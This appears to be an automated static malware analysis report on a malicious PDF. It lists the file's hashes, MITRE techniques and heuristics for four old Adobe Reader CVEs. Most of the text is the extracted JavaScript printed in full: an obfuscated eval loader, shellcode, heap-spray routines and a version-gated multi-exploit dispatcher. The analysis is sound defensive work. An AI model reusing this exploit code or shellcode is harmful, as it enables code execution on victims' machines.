Malicious PDF — malware analysis report

Static analysis result for SHA-256 74a5d422299ed442…

MALICIOUS

PDF

32.8 KB Created: 2010-07-25 10:32:51
MD5: 1dceb6166262ca8711afb3c464ae0819 SHA-1: 27a9d146d9b349d35ac94eda33f528ade86dfa8b SHA-256: 74a5d422299ed442e0f0e02a684eed82ca5397bce7a7b6140e8427c1ec8dc57b
448 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to trigger these exploits, which typically leads to the execution of arbitrary code. The recovered JavaScript code appears to be a stage recovery mechanism, suggesting it's intended to download and execute a further payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
1e492a12dd07b4b844a231b527e150de0bdd70b737730c43257b1c50a244439c		 pdf-javascript-stream PDF /JS object 1 at offset 0x7F27 804 bytes
Preview script
First 1,000 lines of the extracted script
iigp = (function(){return this;}).call(null);
ywb = new Date();
var ok='';
var dm = 'e'+(parseInt(ywb.getFullYear())-1)+'a'+ok+'l';
htvw=iigp[dm.replace('2009','v')];
function czh(){
	var lmm='',kh=[];
	var ok='';
	htvw('va'+ok+'r nvc=th'+ok+'i'+ok+'s');
	htvw('va'+ok+'r gqsd=Str'+ok+'ing.f'+ok+'romC'+ok+'harCode');
	var crz='prod' + ywb.getFullYear()+'er';
	var tv = nvc[crz.replace('2010','uc')];
	var acb = '' + ywb.getFullYear() + ok + 'i'+ok+'t';
	var llb = 's' + acb.replace('2010','pl');
	var svnw='2010';
	svnw = svnw.replace(ywb.getFullYear(),'');
	htvw('va'+svnw+'r n' + ok + 'r=[' + tv + svnw + ']');
	var fo = nr;
	sy='le'+ok+'ng'+ok+'th';
	var qyi = fo[sy] / 2;
	for (var nek = 0; nek < qyi; nek++) {
		lmm += gqsd(fo[nek+qyi] - fo[nek]);
	}
	return lmm;
	}
	var pnji=czh();
	htvw(pnji);
generic_stage_recovery_000.js
3f4df3eb89b2d26097f957d48993a23232f2d997017382df4958bb97ccb4aa88		 deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3606 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var hj='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uc034%ue2aa%uc3fa%ue5e8%uffff%u29ff%uc1cc%uc0c0%u419e%u9c2c%uc0c1%u49c0%u4d27%ud08f%uaf4d%uf194%u971b%u9391%u9393%u9393%u9393%u9395%ua893%uc1c4%uc0c0%u9695%ua893%uaeaf%uc0c0%ub5a8%uacb2%u94ad%u4ea8%uce8e%u282c%uc088%uc0c0%u2890%uc0bc%uc0c0%u103f%u0443%ua8c8%u2f8f%uc58f%u2890%uc0ac%uc0c0%u103f%u0045%ud7b5%u94aa%u3399%ua86a%u3eb2%ud673%udd28%uc0c0%u90c0%u9128%uc0c0%u3fc0%u9310%u3eaa%u49a8%uc1af%u287d%uc0c8%uc0c0%u2890%uc0fc%uc0c0%u103f%uf1a0%ua400%u904b%u4bf0%ucc92%u924b%u4bd4%ue8b2%ud879%uc0c0%uf1c0%uf13f%u6c00%ua1fc%uc2bc%ue0ec%u0f01%uc1cd%u2207%u4130%u9b3f%u8a7c%u4baa%ud082%ud24b%u19b5%u8449%udce4%u03a1%u4ba0%ue4ac%u4be4%ufc85%u944b%ub8c5%u2ac1%u8a4b%u4bd8%ue09a%u2bc1%uf423%u4b89%u4bf4%u2ec1%u3ff1%u00f1%u6c3c%u0044%uc7b4%u0f01%uc1cd%u2b07%ufb34%ue4bc%ub5e8%u4b21%ue49a%u2bc1%u4ba6%u8bcc%u9a4b%uc1dc%u4b2b%u4bc4%u28c1%u8449%udce4%u02a1%uc0c8%u2f28%u3f3e%ua83f%ub4b4%ufab0%uefef%uafba%ub4ac%ua3ee%ueeba%ua3a3%ua4ef%ub0ee%ub0a8%ua6ff%uf3fd%ue6f0%ufda5%uc0f3';function qhbn(ex,iig){while(ex.length*2<iig){ex+=ex;}
ex=ex.substring(0,iig/2);return ex;}
function oij(){var pvg=new Array();var uli=0x0c0c0c0c;var addr=0x400000;var payload=unescape(hj);var sc_len=payload.length*2;var iig=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qhbn(yarsp,iig);var count2=(uli-0x400000)/addr;for(var count=0;count<count2;count++){pvg[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(hj);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(hj);var hWq500CN=payload.length*2;var iig=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qhbn(yarsp,iig);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){oij();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(hj);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js
cf3d1756fa680fb41cf108b29ce0104a480ff81e390c323723f0265527ae8445		 deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3602 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var hj='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uc034%ue2aa%uc3fa%ue5e8%uffff%u29ff%uc1cc%uc0c0%u419e%u9c2c%uc0c1%u49c0%u4d27%ud08f%uaf4d%uf194%u971b%u9391%u9393%u9393%u9393%u9395%ua893%uc1c4%uc0c0%u9695%ua893%uaeaf%uc0c0%ub5a8%uacb2%u94ad%u4ea8%uce8e%u282c%uc088%uc0c0%u2890%uc0bc%uc0c0%u103f%u0443%ua8c8%u2f8f%uc58f%u2890%uc0ac%uc0c0%u103f%u0045%ud7b5%u94aa%u3399%ua86a%u3eb2%ud673%udd28%uc0c0%u90c0%u9128%uc0c0%u3fc0%u9310%u3eaa%u49a8%uc1af%u287d%uc0c8%uc0c0%u2890%uc0fc%uc0c0%u103f%uf1a0%ua400%u904b%u4bf0%ucc92%u924b%u4bd4%ue8b2%ud879%uc0c0%uf1c0%uf13f%u6c00%ua1fc%uc2bc%ue0ec%u0f01%uc1cd%u2207%u4130%u9b3f%u8a7c%u4baa%ud082%ud24b%u19b5%u8449%udce4%u03a1%u4ba0%ue4ac%u4be4%ufc85%u944b%ub8c5%u2ac1%u8a4b%u4bd8%ue09a%u2bc1%uf423%u4b89%u4bf4%u2ec1%u3ff1%u00f1%u6c3c%u0044%uc7b4%u0f01%uc1cd%u2b07%ufb34%ue4bc%ub5e8%u4b21%ue49a%u2bc1%u4ba6%u8bcc%u9a4b%uc1dc%u4b2b%u4bc4%u28c1%u8449%udce4%u02a1%uc0c8%u2f28%u3f3e%ua83f%ub4b4%ufab0%uefef%uafba%ub4ac%ua3ee%ueeba%ua3a3%ua4ef%ub0ee%ub0a8%ua6ff%uf3fd%ue6f0%ufda5%uc0f3';function qhbn(ex,iig){while(ex.length*2<iig){ex+=ex;}
ex=ex.substring(0,iig/2);return ex;}
function oij(){var pvg=new Array();var uli=0x0c0c0c0c;var addr=0x400000;var payload=unescape(hj);var sc_len=payload.length*2;var iig=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qhbn(yarsp,iig);var count2=(uli-0x400000)/addr;for(var count=0;count<count2;count++){pvg[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(hj);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(hj);var hWq500CN=payload.length*2;var iig=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qhbn(yarsp,iig);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){oij();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(hj);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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